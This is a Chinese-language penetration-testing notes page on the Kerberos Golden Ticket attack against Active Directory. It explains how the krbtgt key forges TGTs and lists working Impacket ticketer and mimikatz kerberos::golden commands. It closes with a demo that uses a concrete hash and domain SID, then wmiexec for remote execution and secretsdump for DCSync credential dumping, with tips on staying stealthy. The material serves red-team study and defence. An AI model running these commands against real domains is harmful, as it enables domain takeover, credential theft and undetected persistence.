2.黄金票据

1. 理论

krbtgt 账户的长期密钥可以用来伪造特殊的 TGT(票据授权票,Ticket Granting Ticket),之后可以结合 Pass-the-ticket 技术访问 AD 域内的任意资源。krbtgt 的密钥用于加密 PAC(Privilege Attribute Certificate)。

在 Golden Ticket(黄金票据)攻击场景中,攻击者只要掌握了 krbtgt 的长期密钥,通常会伪造一个 PAC,声明该用户属于高权限组。这个 PAC 会被嵌入到伪造的 TGT 中。TGT 随后会被用来请求服务票据(Service Ticket),而这些服务票据会包含 TGT 中的 PAC,从而赋予攻击者大量访问权限。

Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。

2. 利用

要求:

  • krbtgt的hash
  • 域的SID

在伪造票据时,2021年11月之前的系统只要 user-id 和 group-id 合理,用户名基本无所谓。但自 2021 年 11 月的更新后,如果票据中填写的用户名在 Active Directory 中不存在,票据会被拒绝(Silver Ticket 也一样)。

要制作黄金票据,测试者需要找到 krbtgt 账户的 RC4 密钥(即 NT hash)或 AES 密钥(128 或 256 位)。大多数情况下,这只能通过 ../../1-Credentials/DCSync 攻击、拥有域管权限后才能实现。因此,黄金票据只适用于横向移动,而不能用于权限提升。

微软现在默认使用 AES 256 位加密。使用这种加密算法(而不是直接给 NThash)会更加隐蔽。

2.1. linux

利用 Impacket 可以完成票据的伪造: 检索 krbtgt ,检索域 SID,创建金票

# 查找域的 SID
lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0

# 使用 RC4 密钥(即 NT hash)生成黄金票据
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"

# 使用 AES 128/256 位密钥生成黄金票据
ticketer.py -aesKey "$krbtgtAESkey" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"

# 使用 RC4 密钥(即 NT hash)并自定义用户/组 ID 生成黄金票据
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -user-id "$USERID" -groups "$GROUPID1,$GROUPID2,..." "randomuser"

Pasted image 20250512121434

2.2. windows

windwos下可以使用 mimikatz 进行票据伪造

# 使用 NT hash 生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$krbtgt_NThash /user:randomuser /ptt

# 使用 AES 128 位密钥生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:randomuser /ptt

# 使用 AES 256 位密钥生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:randomuser /ptt

2.3. 其他

对于黄金票据(Golden Ticket)和白银票据(Silver Ticket),需要注意的是,默认情况下,ticketer 和 mimikatz 伪造的票据中 PAC(权限属性证书)会声明该用户属于一些众所周知的管理员组(即组ID 513、512、520、518、519)。但在某些场景下,这些组权限可能还不够(比如某些特殊机器上,即使是域管理员也没有本地管理员权限)。

在这种情况下,测试者可以在生成票据时手动指定所有需要的组ID。然而,Deny ACE(拒绝访问控制项)实际上可能会阻止这种方式生效。如果遇到 Deny ACE 阻止域管理员登录,而你又在票据中包含了域管理员组ID,这就会成为一个问题。对于拥有大量组的域来说,这种方法也非常不方便。

另一种解决方案是,寻找一个具有合适权限的特定用户进行模拟,然后使用 GoldenCopy 工具生成命令,允许你伪造一个包含目标用户特定属性(如sid、组ID等)的票据。这些属性值可以从 neo4j 数据库中收集获得。

  • Golden Ticket 是由 krbtgt 账号加密的,而 Silver Ticket(白银票据)是由特定服务账号加密的。
  • 金票的特点是不需要与AS进行交互,但需要用户krbtgt的HASH

2.4. 演示

黄金票据

#生成黄金票据
impacket-ticketer -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -domain 0day.org  golden

Pasted image 20250517204849

#导入票据
export KRB5CCNAME=golden.ccache
#PTH 
impacket-wmiexec -k OWA2010SP3.0day.org -codec gbk
#DCSync 
impacket-secretsdump   -k OWA2010SP3.0day.org

Pasted image 20250517205029